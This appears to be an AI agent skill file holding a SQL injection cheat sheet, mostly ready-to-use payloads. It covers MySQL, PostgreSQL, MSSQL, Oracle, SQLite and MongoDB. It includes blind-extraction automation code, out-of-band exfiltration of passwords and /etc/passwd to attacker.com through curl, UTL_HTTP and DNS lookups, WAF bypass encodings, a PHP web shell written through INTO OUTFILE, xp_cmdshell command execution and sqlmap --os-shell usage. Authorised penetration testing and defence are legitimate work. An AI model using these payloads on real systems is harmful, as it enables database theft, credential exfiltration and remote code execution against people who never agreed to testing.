| name | sqli-testing |
| description | Comprehensive SQL injection testing methodology covering Union-based, Error-based, Blind (Boolean/Time-based), Stacked queries, and WAF bypass techniques. Includes database-specific payloads for MySQL, PostgreSQL, MSSQL, Oracle, SQLite, and NoSQL injection. |
SQL Injection Testing Methodology
Overview
SQL Injection allows attackers to interfere with database queries. This skill covers all major SQLi types with practical payloads for multiple database systems.
SQLi Detection
Error-Based Detection
' -- Single quote error
" -- Double quote error
' OR '1'='1 -- True condition
' OR '1'='2 -- False condition
1' AND 1=1
1' AND 1=2 --
Boolean-Based Detection
' AND 1=1 -- -- Should show normal result
' AND 1=2
Time-Based Detection
' AND SLEEP(5) --
' AND BENCHMARK(5000000,MD5(1))
' AND pg_sleep(5) --
' AND (SELECT COUNT(*) FROM generate_series(1,5000000))
'; WAITFOR DELAY '0:0:5' --
-- Oracle
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('A',5)
' AND randomblob(500000000) --
UNION-Based SQL Injection
Determine Columns
' ORDER BY 1 --
' ORDER BY 2
' ORDER BY 3 --
-- Continue until error
-- Alternative: UNION SELECT
' UNION SELECT NULL
' UNION SELECT NULL,NULL --
' UNION SELECT NULL,NULL,NULL
Find Display Column
' UNION SELECT 1,2,3,4 --
' UNION SELECT 1,@@version,3,4
' UNION SELECT 1,2,3,version() --
-- MSSQL
' UNION SELECT 1,2,3,@@version
' UNION SELECT 1,2,3,'a' FROM dual --
Database Fingerprinting
MySQL
SELECT @@version
SELECT @@datadir
SELECT @@hostname
SELECT user()
SELECT database()
SELECT @@port
PostgreSQL
SELECT version()
SELECT current_database()
SELECT current_user
SELECT inet_server_addr()
SELECT inet_server_port()
MSSQL
SELECT @@version
SELECT DB_NAME()
SELECT SUSER_SNAME()
SELECT HOST_NAME()
SELECT @@SERVERNAME
Oracle
SELECT banner FROM v$version
SELECT user FROM dual
SELECT name FROM v$database
SQLite
SELECT sqlite_version()
SELECT name FROM sqlite_master WHERE type='table'
Data Extraction
MySQL
' UNION SELECT 1,GROUP_CONCAT(schema_name),3 FROM information_schema.schemata --
-- List tables
' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()
' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users' --
-- Extract data
' UNION SELECT 1,CONCAT(username,':',password),3 FROM users
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3 --
PostgreSQL
' UNION SELECT 1,string_agg(datname,','),3 FROM pg_database --
-- List tables
' UNION SELECT 1,string_agg(tablename,','),3 FROM pg_tables WHERE schemaname='public'
' UNION SELECT 1,string_agg(column_name,','),3 FROM information_schema.columns WHERE table_name='users' --
-- Read file
' UNION SELECT 1,pg_read_file('/etc/passwd'),3
MSSQL
' UNION SELECT 1,STRING_AGG(name,','),3 FROM master.dbo.sysdatabases --
-- List tables
' UNION SELECT 1,STRING_AGG(name,','),3 FROM sysobjects WHERE xtype='U'
' UNION SELECT 1,STRING_AGG(name,','),3 FROM syscolumns WHERE id=OBJECT_ID('users') --
-- Command execution
'; EXEC xp_cmdshell 'whoami'
Oracle
' UNION SELECT table_name,NULL FROM user_tables --
-- List columns
' UNION SELECT column_name,NULL FROM user_tab_columns WHERE table_name='USERS'
' UNION SELECT username||':'||password,NULL FROM users --
Error-Based Extraction
MySQL Error-Based
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e)) --
-- Extract data
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT password FROM users LIMIT 1),0x7e))
MSSQL Error-Based
' AND 1=@@version --
' AND 1=CAST((SELECT password FROM users) AS int)
PostgreSQL Error-Based
' AND 1=CAST((SELECT version()) AS int) --
' AND 1=CAST((SELECT password FROM users) AS int)
Blind SQL Injection
Boolean-Based
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a' --
# Check using ASCII
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>100 --
Time-Based Blind
' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))=97,SLEEP(5),0) --
-- PostgreSQL
' AND (SELECT CASE WHEN ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))=97 THEN pg_sleep(5) ELSE pg_sleep(0) END)
'; IF ASCII(SUBSTRING((SELECT TOP 1 password FROM users),1,1))=97 WAITFOR DELAY '0:0:5' --
Automation Scripts
import requests
import string
def blind_sqli(base_url):
result = ""
position = 1
while True:
found = False
for char in string.printable:
payload = f"' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),{position},1))={ord(char)},SLEEP(2),0) -- "
if check_timing(base_url, payload):
result += char
found = True
break
if not found:
break
position += 1
return result
Out-of-Band (OOB) SQL Injection
MySQL
' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\a')) --
-- HTTP request
' UNION SELECT ... INTO OUTFILE '/var/www/html/test.txt'
MSSQL
'; EXEC master..xp_dirtree "\\"+(SELECT password FROM users)+".attacker.com" --
-- HTTP request
'; EXEC master..xp_cmdshell 'curl http://attacker.com/?data='+(SELECT password FROM users)
Oracle
' AND UTL_HTTP.request('http://attacker.com/?data='||(SELECT password FROM users)) IS NOT NULL --
-- DNS
' AND (SELECT UTL_INADDR.get_host_address((SELECT password FROM users)||'.attacker.com') FROM dual) IS NOT NULL
PostgreSQL
' COPY (SELECT password FROM users LIMIT 1) TO PROGRAM 'nslookup $(cat /etc/passwd).attacker.com' --
WAF Bypass Techniques
Comment Injection
'/**/UNION/**/SELECT/**/1,2,3--
'SELECT1,2,3
Encoding
%27%20%55%4E%49%4F%4E%20%53%45%4C%45%43%54%20%31%2C%32%2C%33%2D%2D
%u0027 UNION SELECT 1,2,3
%2527%2520UNION%2520SELECT%25201%252C2%252C3
Case Variations
' UniOn SeLeCt 1,2,3 --
' uNiOnsElEcT1,2,3
Logical Operators
' OR '1'='1
' || '1'='1
' && '1'='1
Alternative Functions
SUBSTR()
MID()
LEFT()
RIGHT()
CONCAT_WS()
GROUP_CONCAT()
|| (PostgreSQL, Oracle)
+ (MSSQL)
Inline Comments
' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3 --
' UNIONSELECT 1,2,3
NoSQL Injection
MongoDB
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": "admin", "password": {"$where": "sleep(5000)"}}
{"$where": "this.password.length > 0"}
{"$where": "this.password.match(/.*/)//"}
Test Payloads
$ne - {"key":{"$ne":null}}
$gt - {"key":{"$gt":""}}
$regex - {"key":{"$regex":"^a"}}
$where - {"$where":"sleep(5000)"}
Command Execution via SQL
MySQL
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
SELECT sys_eval('whoami');
' UNION SELECT "<?php system($_GET['cmd']); ?>",2,3 INTO OUTFILE '/var/www/html/shell.php' --
PostgreSQL
COPY (SELECT '') TO PROGRAM 'id'
'; DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
MSSQL
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';
DECLARE @shell INT;
EXEC sp_OACreate 'wscript.shell', @shell OUTPUT;
EXEC sp_OAMethod @shell, 'run', null, 'whoami';
Oracle
SQLMap Integration
Basic Usage
sqlmap -u "http://target.com/page?id=1" --batch
sqlmap -u "http://target.com/login" --data="username=admin&password=test" --batch
sqlmap -u "http://target.com/page" --cookie="session=xxx" --batch
sqlmap -u "http://target.com/page" --header="X-Forwarded-For: *"
Advanced Options
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment,between
sqlmap -u "http://target.com/page?id=1" --level=5 --risk=3
sqlmap -u "http://target.com/page?id=1" --dbms=mysql
sqlmap -u "http://target.com/page?id=1" -D database -T users -C username,password --dump
--os-shell for command execution
sqlmap -u "http://target.com/page?id=1" --os-shell
CTF & Advanced Techniques
MySQL Handler
' HANDLER users OPEN --
' HANDLER users READ FIRST
MySQL InnoDB
' UNION SELECT 1,table_name,3 FROM INFORMATION_SCHEMA.INNODB_TABLE_STATS --
MSSQL Error Message Extraction
' AND 1=CONVERT(int,(SELECT @@version)) --
Oracle Length Limits
SELECT XMLAGG(XMLELEMENT(E,username||':'||password||',')).EXTRACT('//text()') FROM users;
Testing Checklist
References
- SQLMap Documentation
- PortSwigger SQL Injection Labs
- PayloadsAllTheThings SQL Injection
- HackTricks SQL Injection